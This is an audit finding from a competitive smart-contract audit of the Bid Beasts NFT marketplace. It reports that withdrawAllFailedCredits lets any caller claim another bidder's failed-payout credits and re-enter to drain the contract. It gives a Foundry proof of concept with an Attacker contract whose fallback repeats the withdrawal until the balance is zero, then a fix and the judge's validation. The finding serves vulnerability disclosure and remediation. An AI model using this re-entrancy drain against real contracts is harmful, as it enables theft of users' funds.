Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] `BidBeastsNFTMarketPlace::withdrawAllFailedCredits` function checks credits for arbitrary receiver but updates state and withdraws funds for the `msg.sender`, enabling a malicious user to drain all contract funds.

cyberethdev

[H-1] BidBeastsNFTMarketPlace::withdrawAllFailedCredits function checks credits for arbitrary receiver but updates state and withdraws funds for the msg.sender, enabling a malicious user to drain all contract funds.

Description

  • Normal behaviour: When a payout to a bidder fails, the amount owed to them is stored in the BidBeastsNFTMarketPlace::failedTransferCredits mapping. The user can then withdraw this amount by calling the BidBeastsNFTMarketPlace::withdrawAllFailedCredits function. Only the user whose original payout failed should be the one allowed to withdraw the funds.

  • When a payout to a bidder fails, any user can withdraw this amount by calling the BidBeastsNFTMarketPlace::withdrawAllFailedCredits function, instead of the funds' rightful owner. A malicious user can then re-enter this function to withdraw all funds available in the BidBeastsNFTMarketPlace contract balance.

@> function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

The vulnerability occurs when

  • A payout using the internal BidBeastsNFTMarketPlace::_payout function fails.

  • A malicious user takes advantage of the failed fund transfer to steal the funds owed to the original recipient of BidBeastsNFTMarketPlace::_payout

  • The malicious user then re-enters the BidBeastsNFTMarketPlace::withdrawAllFailedCredits function to drain all funds from the contract.

Impact: High

  • Loss of funds:
    Funds owed to bidders can be stolen by a malicious user / contract.

  • Full contract balance drain:
    The whole marketplace contract balance can be drained by re-entering the vulnerable function.

Proof of Concept

The following test demonstrates how a user that has set up an Attacker contract can drain the marketplace
contract funds by re-entering the withdrawAllFailedCredits function after a payout to a given user has failed.

As a PoC include the following mock contracts and test in the Foundry test suite and run with forge test --mt test_WithdrawAllFailedCredits_FullDrain -vv:

// A mock contract that cannot receive Ether, to test the payout failure logic.
contract RejectEther {
​
function placeBid(BidBeastsNFTMarket market, uint256 tokenID, uint256 amount) external {
market.placeBid{ value: amount }(tokenID);
}
// Intentionally has no payable receive or fallback
}
​
// A contract to simulate an attack via the vulnerable withdrawAllFailedCredits entrypoint.
contract Attacker {
​
BidBeastsNFTMarket public marketplace;
address public bait;
​
constructor(address _marketplace, address _bait) {
marketplace = BidBeastsNFTMarket(_marketplace);
bait = _bait;
}
​
function drainFunds() public {
marketplace.withdrawAllFailedCredits(bait);
}
fallback() external payable {
if(address(marketplace).balance >= msg.value ) {
drainFunds();
}
}
}
​
function test_WithdrawAllFailedCredits_FullDrain() public {
// Deploy Attacker contract
attacker = new Attacker(address(market), address(rejector));
​
// Mint nft
_mintNFT();
​
// List nft
_listNFT();
​
// View market contract balance:
uint256 marketBalance = address(market).balance;
console.log("Marketplace contract balance: ", marketBalance / 1 ether, " ETH");
​
// Bidder 1 places bid through the rejector contract
vm.startPrank(BIDDER_1);
uint256 firstBid = MIN_PRICE * 2;
vm.deal(address(rejector), firstBid);
rejector.placeBid(market, TOKEN_ID, firstBid);
vm.stopPrank();
// View market contract balance after first bid:
uint256 marketBalanceAfterFirstBid = address(market).balance;
console.log("Marketplace contract balance after first bid: ", marketBalanceAfterFirstBid / 1 ether, " ETH");
​
// Bidder 2 outbids first bid
uint256 secondBid = firstBid * 2;
vm.prank(BIDDER_2);
market.placeBid{ value: secondBid }(TOKEN_ID);
​
// Since the first bid is lower, the _payout function with recipient the rejector address is called:
// the call fails as the rejector contract is missing a fallback / receive function.
​
// View market contract balance after second bid:
uint256 marketBalanceAfterSecondBid = address(market).balance;
console.log("Marketplace contract balance after second bid: ", marketBalanceAfterSecondBid / 1 ether, " ETH");
​
// Assert that there is a failedTransferCredits entry for the rejector address:
uint256 rejectorCredits = market.failedTransferCredits(address(rejector));
console.log("Failed Credits for rejector contract: ", rejectorCredits / 1 ether, " ETH");
assertEq(rejectorCredits, firstBid, "Inconsistent failed transfer credits");
​
// Check balance of the attacker contract before stealing funds:
uint256 attackerBalanceBefore = address(attacker).balance;
console.log("Attacker contract balance before stealing funds: ", attackerBalanceBefore / 1 ether, " ETH");
​
// Attacker contract steals funds from marketplace contract using the withdrawAllFailedCredits entrypoint:
attacker.drainFunds();
​
// Assert that the balance of attacker has increased:
uint256 attackerBalanceAfter = address(attacker).balance;
console.log("Attacker contract balance after stealing funds of Bidder 1 and 2: ", attackerBalanceAfter/1 ether, " ETH");
uint256 balanceDiff = attackerBalanceAfter - attackerBalanceBefore;
console.log("Attacker stole: ", balanceDiff / 1 ether, " ETH");
assertEq(balanceDiff, firstBid + secondBid, "Attacker did not manage to steal funds");
​
// Check that after the hack the market contract balance is 0:
uint256 marketBalanceAfterHack = address(market).balance;
console.log("Marketplace contract balance after attack: ", marketBalanceAfterHack / 1 ether, " ETH");
assertEq(marketBalanceAfterHack, 0, "Contract balance is not zero"); }

Recommended Mitigation

-function withdrawAllFailedCredits(address _receiver) external {
+function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

In addition, the nonReentrant modifier can be used as follows for defense-in-depth:

import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
​
function withdrawAllFailedCredits() external nonReentrant {
...
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!